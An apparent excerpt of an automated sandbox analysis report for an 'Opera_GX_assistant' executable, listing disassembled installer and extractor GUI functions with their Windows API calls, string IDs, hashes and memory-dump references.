                                                                                                                                                                                                                • String ID: RichEdit20W$STATIC$riched20${\rtf
                                                                                                                                                                                                                • API String ID: 3514532227-2281146334
                                                                                                                                                                                                                • Opcode ID: 85e30b137fbc782f6badd955efe1c666e4902aa5b1f98644ef8ad62f4b2dde7f
                                                                                                                                                                                                                • Instruction ID: f87ecbe388e0223389a063f86bd1e1dddf67b0c51ef4acd7a43fb054af45fbac
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 85e30b137fbc782f6badd955efe1c666e4902aa5b1f98644ef8ad62f4b2dde7f
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0F319F72900108BFDB01AFE5DD49EEF7BBCAF48745F144036F600F2191DA749A818B68
                                                                                                                                                                                                                Function 004086FE Relevance: 34.8, APIs: 23, Instructions: 265windowCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00408AC8), ref: 00408727
                                                                                                                                                                                                                • LoadIconW.USER32(00000000), ref: 0040872A
                                                                                                                                                                                                                • GetSystemMetrics.USER32(00000032), ref: 0040873E
                                                                                                                                                                                                                • GetSystemMetrics.USER32(00000031), ref: 00408743
                                                                                                                                                                                                                • GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00408AC8), ref: 0040874C
                                                                                                                                                                                                                • LoadImageW.USER32(00000000), ref: 0040874F
                                                                                                                                                                                                                • SendMessageW.USER32(?,00000080,00000001,?), ref: 0040876F
                                                                                                                                                                                                                • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408778
                                                                                                                                                                                                                • GetDlgItem.USER32(?,000004B2), ref: 00408794
                                                                                                                                                                                                                • GetDlgItem.USER32(?,000004B2), ref: 0040879E
                                                                                                                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 004087AA
                                                                                                                                                                                                                • SetWindowLongW.USER32(?,000000F0,00000000), ref: 004087B9
                                                                                                                                                                                                                • GetDlgItem.USER32(?,000004B5), ref: 004087C7
                                                                                                                                                                                                                • GetDlgItem.USER32(?,000004B5), ref: 004087D5
                                                                                                                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 004087E1
                                                                                                                                                                                                                • SetWindowLongW.USER32(?,000000F0,00000000), ref: 004087F0
                                                                                                                                                                                                                • GetWindow.USER32(?,00000005), ref: 004088D6
                                                                                                                                                                                                                • GetWindow.USER32(?,00000005), ref: 004088F2
                                                                                                                                                                                                                • GetWindow.USER32(?,00000005), ref: 0040890A
                                                                                                                                                                                                                • GetModuleHandleW.KERNEL32(00000000,00000065,000004B4,00000000,000004B3,00000000,000004B2,?,000004B7,?,?,?,?,?,00408AC8), ref: 0040896A
                                                                                                                                                                                                                • LoadIconW.USER32(00000000), ref: 00408971
                                                                                                                                                                                                                • GetDlgItem.USER32(?,000004B1), ref: 00408990
                                                                                                                                                                                                                • SendMessageW.USER32(00000000), ref: 00408993
                                                                                                                                                                                                                  • Part of subcall function 00407B3C: GetDlgItem.USER32(?,?), ref: 00407B46
                                                                                                                                                                                                                  • Part of subcall function 00407B3C: GetWindowTextLengthW.USER32(00000000), ref: 00407B4D
                                                                                                                                                                                                                  • Part of subcall function 00407209: GetDlgItem.USER32(?,?), ref: 00407216
                                                                                                                                                                                                                  • Part of subcall function 00407209: ShowWindow.USER32(00000000,?), ref: 0040722D
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Window$Item$Long$HandleLoadMessageModuleSend$IconMetricsSystem$ImageLengthShowText
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3694754696-0
                                                                                                                                                                                                                • Opcode ID: 912d7ef425d6c6494e29e3deb2b18d2c0e92bb38c953af52e25b7107b56c7ff0
                                                                                                                                                                                                                • Instruction ID: 039de319893d1fc2a2f677b1cd9d0fdeb06e220da667d6f51fbd84e31fd24c88
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 912d7ef425d6c6494e29e3deb2b18d2c0e92bb38c953af52e25b7107b56c7ff0
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 8E710EB03047056BE6117B61DE4AF3B3A99EB80754F10443EF692762D2CFBDAC408A5E
                                                                                                                                                                                                                Function 00404B35 Relevance: 33.5, APIs: 3, Strings: 16, Instructions: 207stringCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • lstrcmpiW.KERNEL32(00000000,004156B8,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404C11
                                                                                                                                                                                                                  • Part of subcall function 004021B3: GetLastError.KERNEL32(00000000,00000020,-00000002), ref: 00402202
                                                                                                                                                                                                                  • Part of subcall function 004021B3: wsprintfW.USER32 ref: 00402213
                                                                                                                                                                                                                  • Part of subcall function 004021B3: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 00402228
                                                                                                                                                                                                                  • Part of subcall function 004021B3: GetLastError.KERNEL32 ref: 0040222D
                                                                                                                                                                                                                  • Part of subcall function 004021B3: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402248
                                                                                                                                                                                                                  • Part of subcall function 004021B3: GetEnvironmentVariableW.KERNEL32(?,00000000,00000004), ref: 0040225B
                                                                                                                                                                                                                  • Part of subcall function 004021B3: GetLastError.KERNEL32 ref: 00402262
                                                                                                                                                                                                                  • Part of subcall function 004021B3: lstrcmpiW.KERNEL32(00000000,00404955), ref: 00402277
                                                                                                                                                                                                                  • Part of subcall function 004021B3: ??3@YAXPAX@Z.MSVCRT(00000000), ref: 00402287
                                                                                                                                                                                                                  • Part of subcall function 004021B3: SetLastError.KERNEL32(?), ref: 004022AE
                                                                                                                                                                                                                  • Part of subcall function 004021B3: lstrlenA.KERNEL32(00415208), ref: 004022E2
                                                                                                                                                                                                                  • Part of subcall function 004021B3: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004022FD
                                                                                                                                                                                                                  • Part of subcall function 004021B3: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 0040232F
                                                                                                                                                                                                                • _wtol.MSVCRT ref: 00404D0E
                                                                                                                                                                                                                • _wtol.MSVCRT ref: 00404D2A
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorLast$??2@EnvironmentVariable_wtollstrcmpi$??3@InfoLocalelstrlenwsprintf
                                                                                                                                                                                                                • String ID: CancelPrompt$ErrorTitle$ExtractCancelText$ExtractDialogText$ExtractDialogWidth$ExtractPathText$ExtractPathTitle$ExtractPathWidth$ExtractTitle$GUIFlags$GUIMode$MiscFlags$OverwriteMode$Progress$Title$WarningTitle
                                                                                                                                                                                                                • API String ID: 2725485552-1675048025
                                                                                                                                                                                                                • Opcode ID: 4f3447e187b8d09034772c4e1f667da3943b2aa83526ce6edd17a205bd317e56
                                                                                                                                                                                                                • Instruction ID: 0029bdf793b7ca219a6cf9bf5c630004183a1ad15403dcfd881f782f334e5f10
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 4f3447e187b8d09034772c4e1f667da3943b2aa83526ce6edd17a205bd317e56
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 405193F1D01108BFEB107B615D8A9EF36ACDA91358724443FFA14F22C1EABD4E85866D
                                                                                                                                                                                                                Function 00401EDE Relevance: 31.6, APIs: 21, Instructions: 121windowCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetWindowDC.USER32(00000000), ref: 00401EEA
                                                                                                                                                                                                                • GetDeviceCaps.GDI32(00000000,00000058), ref: 00401EF6
                                                                                                                                                                                                                • MulDiv.KERNEL32(00000000,00000064,00000060), ref: 00401F0F
                                                                                                                                                                                                                • GetObjectW.GDI32(?,00000018,?), ref: 00401F3E
                                                                                                                                                                                                                • MulDiv.KERNEL32(?,00000003,00000002), ref: 00401F49
                                                                                                                                                                                                                • MulDiv.KERNEL32(?,00000003,00000002), ref: 00401F53
                                                                                                                                                                                                                • CreateCompatibleDC.GDI32(?), ref: 00401F61
                                                                                                                                                                                                                • CreateCompatibleDC.GDI32(?), ref: 00401F68
                                                                                                                                                                                                                • SelectObject.GDI32(00000000,?), ref: 00401F76
                                                                                                                                                                                                                • CreateCompatibleBitmap.GDI32(?,?,?), ref: 00401F84
                                                                                                                                                                                                                • SelectObject.GDI32(00000000,00000000), ref: 00401F8C
                                                                                                                                                                                                                • SetStretchBltMode.GDI32(00000000,00000004), ref: 00401F94
                                                                                                                                                                                                                • StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 00401FB3
                                                                                                                                                                                                                • GetCurrentObject.GDI32(00000000,00000007), ref: 00401FBC
                                                                                                                                                                                                                • SelectObject.GDI32(00000000,?), ref: 00401FC9
                                                                                                                                                                                                                • SelectObject.GDI32(00000000,?), ref: 00401FCF
                                                                                                                                                                                                                • DeleteDC.GDI32(00000000), ref: 00401FD8
                                                                                                                                                                                                                • DeleteDC.GDI32(00000000), ref: 00401FDB
                                                                                                                                                                                                                • ReleaseDC.USER32(00000000,?), ref: 00401FE2
                                                                                                                                                                                                                • ReleaseDC.USER32(00000000,?), ref: 00401FF1
                                                                                                                                                                                                                • CopyImage.USER32(?,00000000,00000000,00000000,00000000), ref: 00401FFE
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Object$Select$CompatibleCreate$DeleteReleaseStretch$BitmapCapsCopyCurrentDeviceImageModeWindow
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 3462224810-0
                                                                                                                                                                                                                • Opcode ID: b47bfa37766e864d5ac7c3bff5c7f29dd76547e571441b34574f095888733673
                                                                                                                                                                                                                • Instruction ID: 5d1e451046eba931a8e7b73d6ea6690a392447b5a41005267d77fd745915eb74
                                                                                                                                                                                                                • Opcode Fuzzy Hash: b47bfa37766e864d5ac7c3bff5c7f29dd76547e571441b34574f095888733673
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 7A310776D40208BFDF215BE29D48EEF7FBDEB88761F108066F604A61A0C7754A50EB64
                                                                                                                                                                                                                Function 00402009 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 120windowcommemoryCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetClassNameA.USER32(?,?,00000040), ref: 0040201B
                                                                                                                                                                                                                • lstrcmpiA.KERNEL32(?,STATIC), ref: 00402032
                                                                                                                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 00402045
                                                                                                                                                                                                                • GetMenu.USER32(?), ref: 0040205A
                                                                                                                                                                                                                  • Part of subcall function 00401DF5: GetModuleHandleW.KERNEL32(00000000), ref: 00401E00
                                                                                                                                                                                                                  • Part of subcall function 00401DF5: FindResourceExA.KERNEL32(00000000,?,?,00000000), ref: 00401E1D
                                                                                                                                                                                                                  • Part of subcall function 00401DF5: FindResourceExA.KERNEL32(00000000,?,?,00000409), ref: 00401E31
                                                                                                                                                                                                                  • Part of subcall function 00401DF5: SizeofResource.KERNEL32(00000000,00000000), ref: 00401E42
                                                                                                                                                                                                                  • Part of subcall function 00401DF5: LoadResource.KERNEL32(00000000,00000000), ref: 00401E4C
                                                                                                                                                                                                                  • Part of subcall function 00401DF5: LockResource.KERNEL32(00000000), ref: 00401E57
                                                                                                                                                                                                                • GlobalAlloc.KERNEL32(00000040,00000010), ref: 0040208C
                                                                                                                                                                                                                • memcpy.MSVCRT(00000000,00000000,00000010), ref: 00402099
                                                                                                                                                                                                                • CoInitialize.OLE32(00000000), ref: 004020A2
                                                                                                                                                                                                                • CreateStreamOnHGlobal.OLE32(00000000,00000000,?), ref: 004020AE
                                                                                                                                                                                                                • OleLoadPicture.OLEAUT32(?,00000000,00000000,00415E04,?), ref: 004020D3
                                                                                                                                                                                                                • GlobalFree.KERNEL32(00000000), ref: 004020E3
                                                                                                                                                                                                                  • Part of subcall function 00401EDE: GetWindowDC.USER32(00000000), ref: 00401EEA
                                                                                                                                                                                                                  • Part of subcall function 00401EDE: GetDeviceCaps.GDI32(00000000,00000058), ref: 00401EF6
                                                                                                                                                                                                                  • Part of subcall function 00401EDE: MulDiv.KERNEL32(00000000,00000064,00000060), ref: 00401F0F
                                                                                                                                                                                                                  • Part of subcall function 00401EDE: GetObjectW.GDI32(?,00000018,?), ref: 00401F3E
                                                                                                                                                                                                                  • Part of subcall function 00401EDE: MulDiv.KERNEL32(?,00000003,00000002), ref: 00401F49
                                                                                                                                                                                                                  • Part of subcall function 00401EDE: MulDiv.KERNEL32(?,00000003,00000002), ref: 00401F53
                                                                                                                                                                                                                  • Part of subcall function 00401EDE: CreateCompatibleDC.GDI32(?), ref: 00401F61
                                                                                                                                                                                                                  • Part of subcall function 00401EDE: CreateCompatibleDC.GDI32(?), ref: 00401F68
                                                                                                                                                                                                                  • Part of subcall function 00401EDE: SelectObject.GDI32(00000000,?), ref: 00401F76
                                                                                                                                                                                                                  • Part of subcall function 00401EDE: CreateCompatibleBitmap.GDI32(?,?,?), ref: 00401F84
                                                                                                                                                                                                                  • Part of subcall function 00401EDE: SelectObject.GDI32(00000000,00000000), ref: 00401F8C
                                                                                                                                                                                                                  • Part of subcall function 00401EDE: SetStretchBltMode.GDI32(00000000,00000004), ref: 00401F94
                                                                                                                                                                                                                  • Part of subcall function 00401EDE: StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 00401FB3
                                                                                                                                                                                                                  • Part of subcall function 00401EDE: GetCurrentObject.GDI32(00000000,00000007), ref: 00401FBC
                                                                                                                                                                                                                  • Part of subcall function 00401EDE: SelectObject.GDI32(00000000,?), ref: 00401FC9
                                                                                                                                                                                                                  • Part of subcall function 00401EDE: SelectObject.GDI32(00000000,?), ref: 00401FCF
                                                                                                                                                                                                                  • Part of subcall function 00401EDE: DeleteDC.GDI32(00000000), ref: 00401FD8
                                                                                                                                                                                                                  • Part of subcall function 00401EDE: DeleteDC.GDI32(00000000), ref: 00401FDB
                                                                                                                                                                                                                  • Part of subcall function 00401EDE: ReleaseDC.USER32(00000000,?), ref: 00401FE2
                                                                                                                                                                                                                • GetObjectW.GDI32(00000000,00000018,?), ref: 00402115
                                                                                                                                                                                                                • SetWindowPos.USER32(00000010,00000000,00000000,00000000,?,?,00000006), ref: 00402129
                                                                                                                                                                                                                • SendMessageW.USER32(00000010,00000172,00000000,?), ref: 0040213B
                                                                                                                                                                                                                • GlobalFree.KERNEL32(00000000), ref: 00402150
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Object$Resource$CreateGlobalSelect$CompatibleWindow$DeleteFindFreeLoadStretch$AllocBitmapCapsClassCurrentDeviceHandleInitializeLockLongMenuMessageModeModuleNamePictureReleaseSendSizeofStreamlstrcmpimemcpy
                                                                                                                                                                                                                • String ID: IMAGES$STATIC
                                                                                                                                                                                                                • API String ID: 4202116410-1168396491
                                                                                                                                                                                                                • Opcode ID: 75b4482697df260aab65a5a7941d5379e2b77aabc16fc078eb73c221e7c7ff8a
                                                                                                                                                                                                                • Instruction ID: 91dfa6bffb294d6a5faa91ea44976e7f2bf651e64a1983605f27e53e7953ab13
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 75b4482697df260aab65a5a7941d5379e2b77aabc16fc078eb73c221e7c7ff8a
                                                                                                                                                                                                                • Instruction Fuzzy Hash: C4416B71A00118FFCB119FA1DD4CDEE7F7DEF49741B0080A5F605AA2A0D7758A81DBA8
                                                                                                                                                                                                                Function 00408B49 Relevance: 27.1, APIs: 18, Instructions: 144windowcomtimeCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 00407209: GetDlgItem.USER32(?,?), ref: 00407216
                                                                                                                                                                                                                  • Part of subcall function 00407209: ShowWindow.USER32(00000000,?), ref: 0040722D
                                                                                                                                                                                                                • GetDlgItem.USER32(?,000004B8), ref: 00408B76
                                                                                                                                                                                                                • SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00408B85
                                                                                                                                                                                                                • GetDlgItem.USER32(?,000004B5), ref: 00408BCC
                                                                                                                                                                                                                • GetWindowLongW.USER32(00000000,000000F0), ref: 00408BD1
                                                                                                                                                                                                                • GetDlgItem.USER32(?,000004B5), ref: 00408BE1
                                                                                                                                                                                                                • SetWindowLongW.USER32(00000000), ref: 00408BE4
                                                                                                                                                                                                                • GetSystemMenu.USER32(?,00000000,000004B4,00000000), ref: 00408C0A
                                                                                                                                                                                                                • EnableMenuItem.USER32(00000000,0000F060,00000001), ref: 00408C1C
                                                                                                                                                                                                                • GetDlgItem.USER32(?,000004B4), ref: 00408C26
                                                                                                                                                                                                                • SetFocus.USER32(00000000), ref: 00408C29
                                                                                                                                                                                                                • SetTimer.USER32(?,00000001,00000000,00000000), ref: 00408C58
                                                                                                                                                                                                                • CoCreateInstance.OLE32(00415E34,00000000,00000001,00415B08,?), ref: 00408C7C
                                                                                                                                                                                                                • GetDlgItem.USER32(?,00000002), ref: 00408C99
                                                                                                                                                                                                                • IsWindow.USER32(00000000), ref: 00408C9C
                                                                                                                                                                                                                • GetDlgItem.USER32(?,00000002), ref: 00408CAC
                                                                                                                                                                                                                • EnableWindow.USER32(00000000), ref: 00408CAF
                                                                                                                                                                                                                • GetDlgItem.USER32(?,000004B5), ref: 00408CC3
                                                                                                                                                                                                                • ShowWindow.USER32(00000000), ref: 00408CC6
                                                                                                                                                                                                                  • Part of subcall function 00407A6A: GetDlgItem.USER32(?,000004B6), ref: 00407A78
                                                                                                                                                                                                                  • Part of subcall function 004086FE: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00408AC8), ref: 00408727
                                                                                                                                                                                                                  • Part of subcall function 004086FE: LoadIconW.USER32(00000000), ref: 0040872A
                                                                                                                                                                                                                  • Part of subcall function 004086FE: GetSystemMetrics.USER32(00000032), ref: 0040873E
                                                                                                                                                                                                                  • Part of subcall function 004086FE: GetSystemMetrics.USER32(00000031), ref: 00408743
                                                                                                                                                                                                                  • Part of subcall function 004086FE: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00408AC8), ref: 0040874C
                                                                                                                                                                                                                  • Part of subcall function 004086FE: LoadImageW.USER32(00000000), ref: 0040874F
                                                                                                                                                                                                                  • Part of subcall function 004086FE: SendMessageW.USER32(?,00000080,00000001,?), ref: 0040876F
                                                                                                                                                                                                                  • Part of subcall function 004086FE: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408778
                                                                                                                                                                                                                  • Part of subcall function 004086FE: GetDlgItem.USER32(?,000004B2), ref: 00408794
                                                                                                                                                                                                                  • Part of subcall function 004086FE: GetDlgItem.USER32(?,000004B2), ref: 0040879E
                                                                                                                                                                                                                  • Part of subcall function 004086FE: GetWindowLongW.USER32(?,000000F0), ref: 004087AA
                                                                                                                                                                                                                  • Part of subcall function 004086FE: SetWindowLongW.USER32(?,000000F0,00000000), ref: 004087B9
                                                                                                                                                                                                                  • Part of subcall function 004086FE: GetDlgItem.USER32(?,000004B5), ref: 004087C7
                                                                                                                                                                                                                  • Part of subcall function 004086FE: GetDlgItem.USER32(?,000004B5), ref: 004087D5
                                                                                                                                                                                                                  • Part of subcall function 004086FE: GetWindowLongW.USER32(?,000000F0), ref: 004087E1
                                                                                                                                                                                                                  • Part of subcall function 004086FE: SetWindowLongW.USER32(?,000000F0,00000000), ref: 004087F0
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Item$Window$Long$MessageSendSystem$EnableHandleLoadMenuMetricsModuleShow$CreateFocusIconImageInstanceTimer
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1057135554-0
                                                                                                                                                                                                                • Opcode ID: eaf23160efd0307f89d7b68af9e71152053e371a4570ee8adff50cbc9787fa7e
                                                                                                                                                                                                                • Instruction ID: 224722099809db51628d05960710a87cde38d463417800169f27d4d88e92d86b
                                                                                                                                                                                                                • Opcode Fuzzy Hash: eaf23160efd0307f89d7b68af9e71152053e371a4570ee8adff50cbc9787fa7e
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 98418B70604708AFEA206F66DE49F577BADEB80B04F11843DF555A62E1CF79B840CA2C
                                                                                                                                                                                                                Function 00407324 Relevance: 24.3, APIs: 16, Instructions: 294COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetDlgItem.USER32(?,000004B3), ref: 0040734C
                                                                                                                                                                                                                • GetWindowLongW.USER32(00000000,000000F0), ref: 00407351
                                                                                                                                                                                                                • GetDlgItem.USER32(?,000004B4), ref: 00407388
                                                                                                                                                                                                                • GetWindowLongW.USER32(00000000,000000F0), ref: 0040738D
                                                                                                                                                                                                                • GetSystemMetrics.USER32(00000010), ref: 0040740F
                                                                                                                                                                                                                • GetSystemMetrics.USER32(00000011), ref: 00407415
                                                                                                                                                                                                                • GetSystemMetrics.USER32(00000008), ref: 0040741C
                                                                                                                                                                                                                • GetSystemMetrics.USER32(00000007), ref: 00407423
                                                                                                                                                                                                                • GetParent.USER32(?), ref: 00407447
                                                                                                                                                                                                                • GetClientRect.USER32(00000000,?), ref: 00407459
                                                                                                                                                                                                                • ClientToScreen.USER32(?,?), ref: 0040746C
                                                                                                                                                                                                                • SetWindowPos.USER32(?,00000000,?,?,?,00000000,00000004), ref: 004074D2
                                                                                                                                                                                                                • GetClientRect.USER32(?,?), ref: 0040756C
                                                                                                                                                                                                                  • Part of subcall function 004072F5: GetDlgItem.USER32(?,?), ref: 00407313
                                                                                                                                                                                                                  • Part of subcall function 004072F5: SetWindowPos.USER32(00000000), ref: 0040731A
                                                                                                                                                                                                                • ClientToScreen.USER32(?,?), ref: 00407475
                                                                                                                                                                                                                  • Part of subcall function 004071EC: GetDlgItem.USER32(?,?), ref: 004071F8
                                                                                                                                                                                                                • GetSystemMetrics.USER32(00000008), ref: 004075F1
                                                                                                                                                                                                                • GetSystemMetrics.USER32(00000007), ref: 004075F8
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: MetricsSystem$ClientItemWindow$LongRectScreen$Parent
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 747815384-0
                                                                                                                                                                                                                • Opcode ID: 35f39b259cb15be5e21bf055192cb3e2893df2de53a1a99aaff2ca9cd82b522a
                                                                                                                                                                                                                • Instruction ID: a0ad394a55fa0a1721489591c3d48553244f7f891a42e1949470b4e54b7fd047
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 35f39b259cb15be5e21bf055192cb3e2893df2de53a1a99aaff2ca9cd82b522a
                                                                                                                                                                                                                • Instruction Fuzzy Hash: B2A12A71E04209AFDB14CFB9CD85AEEBBF9EB48304F148529E905F3291D778E9408B65
                                                                                                                                                                                                                Function 0040342C Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 264COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,004183B0,00000000), ref: 004034B5
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,004183B0,00000000), ref: 004034BD
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(00404738,?), ref: 004036E3
                                                                                                                                                                                                                  • Part of subcall function 004026C6: ??3@YAXPAX@Z.MSVCRT(?,-00000008,00404A61,?,?,?), ref: 004026CC
                                                                                                                                                                                                                  • Part of subcall function 004026C6: ??3@YAXPAX@Z.MSVCRT(?,?,-00000008,00404A61,?,?,?), ref: 004026D3
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(00404738,?,?,00000000,00000000,004183B0,00000000), ref: 00403710
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
